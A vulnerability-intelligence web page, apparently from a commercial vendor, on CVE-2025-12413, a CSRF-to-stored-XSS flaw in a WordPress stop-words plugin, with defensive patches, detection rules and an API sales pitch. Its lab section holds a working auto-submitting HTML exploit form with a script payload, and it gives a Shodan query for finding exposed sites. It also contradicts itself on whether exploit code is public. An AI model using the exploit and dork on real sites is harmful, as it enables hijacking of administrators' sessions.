☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-12413

CVE-2025-12413 Cross-Site Request Forgery in Social media wpcf7 stop words
📅 PUBLISHED: 2025-11-04 04:27 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-12413 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Social Media WPCF7 Stop Words WordPress plugin, versions up to and including 1.1.3. The vulnerability resides in the smWpCfSwOptions() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., via a malicious link), can modify plugin settings and inject malicious web scripts (stored XSS). The CVSS v3.1 base score is 5.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Administrators should verify the integrity of the plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed for the forged request.
  • User Interaction (UI): Required (R) – The victim (admin) must click a link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited data exposure possible via XSS.
  • Integrity (I): Low (L) – Settings can be altered, scripts injected.
  • Availability (A): Low (L) – Potential for minor disruption via script injection.

Threat Level: Medium. While the CVSS score is moderate, the combination of CSRF and stored XSS can lead to persistent compromise of the WordPress admin panel, enabling further attacks like privilege escalation or malware distribution.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin's settings page. The smWpCfSwOptions() function handles saving plugin options but does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email containing a form that automatically submits a POST request to the vulnerable endpoint. If an authenticated admin visits this page, the browser sends the request with the admin's cookies, and the plugin processes it as legitimate.

The injected malicious web scripts (stored XSS) are saved in the plugin's settings (e.g., in the wp_options table). When the admin or other users view the plugin settings page, the script executes in their browser, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not a server-level issue. The attack relies on the admin's session and the plugin's lack of CSRF protection.

Vulnerable vs. Patched Code

Vulnerable Code (smWpCfSwOptions function in versions <= 1.1.3):

function smWpCfSwOptions() {
    // No nonce check
    if (isset($_POST['sm_wpcf7_stop_words_options'])) {
        update_option('sm_wpcf7_stop_words_options', $_POST['sm_wpcf7_stop_words_options']);
    }
}

Patched Code (hypothetical fix):

function smWpCfSwOptions() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'sm_wpcf7_stop_words_nonce')) {
        return;
    }
    if (isset($_POST['sm_wpcf7_stop_words_options'])) {
        update_option('sm_wpcf7_stop_words_options', $_POST['sm_wpcf7_stop_words_options']);
    }
}

The patch adds a nonce check using WordPress's wp_verify_nonce() function, ensuring the request originates from the admin panel.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Install WordPress with the vulnerable plugin (version 1.1.3) on a local lab (e.g., using Docker or XAMPP). Create an admin user.
  2. Craft Exploit: Create an HTML file (exploit.html) that auto-submits a form to the vulnerable endpoint:
    <html>
    <body>
    <form action="http://target/wp-admin/admin-post.php" method="POST">
        <input type="hidden" name="action" value="smWpCfSwOptions">
        <input type="hidden" name="sm_wpcf7_stop_words_options[stop_words]" value="<script>alert('XSS')</script>">
        <input type="submit" value="Submit">
    </form>
    <script>document.forms[0].submit();</script>
    </body>
    </html>
    
  3. Delivery: Host the file on an attacker-controlled server and send the link to the admin (e.g., via email or social engineering).
  4. Execution: When the admin clicks the link, the form auto-submits, updating the plugin settings with the XSS payload. The script executes when the admin visits the plugin settings page.

Blue Team (Defense & Detection)

  1. Monitor Logs: Check WordPress access logs for unusual POST requests to /wp-admin/admin-post.php with action=smWpCfSwOptions from unexpected referrers.
  2. User Education: Train admins to avoid clicking suspicious links and to use browser extensions that block CSRF attacks.
  3. Web Application Firewall (WAF): Deploy rules to block requests to admin-post.php without a valid nonce (if possible).
  4. Plugin Hardening: Temporarily disable the plugin until a patch is available. Use a security plugin like Wordfence to add CSRF protection.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /wp-admin/admin-post.php with parameter action=smWpCfSwOptions and no _wpnonce parameter.
  • File System: Modified wp_options table entry for sm_wpcf7_stop_words_options containing unexpected JavaScript or HTML.
  • Behavior: Unauthorized changes to plugin settings, unexpected pop-ups or redirects in admin panel.
  • Logs: WordPress debug log entries showing update_option for sm_wpcf7_stop_words_options without preceding nonce validation.

Detection Engineering

YARA Rule

rule CVE_2025_12413_CSRF_XSS {
    meta:
        description = "Detects exploitation attempts for CVE-2025-12413 in WordPress logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12413"
    strings:
        $csrf = "action=smWpCfSwOptions" nocase
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
    condition:
        $csrf and any of ($xss*)
}

Sigma Rule

title: CVE-2025-12413 - CSRF to Stored XSS in Social Media WPCF7 Stop Words
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to admin-post.php with action smWpCfSwOptions and potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=smWpCfSwOptions"
    filter:
        cs-uri-query|contains: "_wpnonce"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is missing due to plugin bug
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12413 - CSRF to XSS in Social Media WPCF7 Stop Words"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=smWpCfSwOptions"; http_client_body; pcre:"/(<script|onerror|javascript)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the Social Media WPCF7 Stop Words plugin until a patched version is released.
  2. Vendor Patch: Monitor the WordPress plugin repository for an update. Apply the patch as soon as it becomes available.
  3. Workaround: If the plugin is critical, implement a custom nonce check by adding the following code to the theme's functions.php (temporary):
    add_action('admin_post_smWpCfSwOptions', 'custom_nonce_check', 1);
    function custom_nonce_check() {
        if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'sm_wpcf7_stop_words_nonce')) {
            wp_die('CSRF detected.');
        }
    }
    
  4. Long-term: Enforce CSRF protection across all WordPress plugins. Use security plugins that add nonce validation automatically.
  5. User Training: Educate administrators on recognizing phishing attempts and the importance of not clicking untrusted links.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/social-media-wpcf7-stop-words"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-12413/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.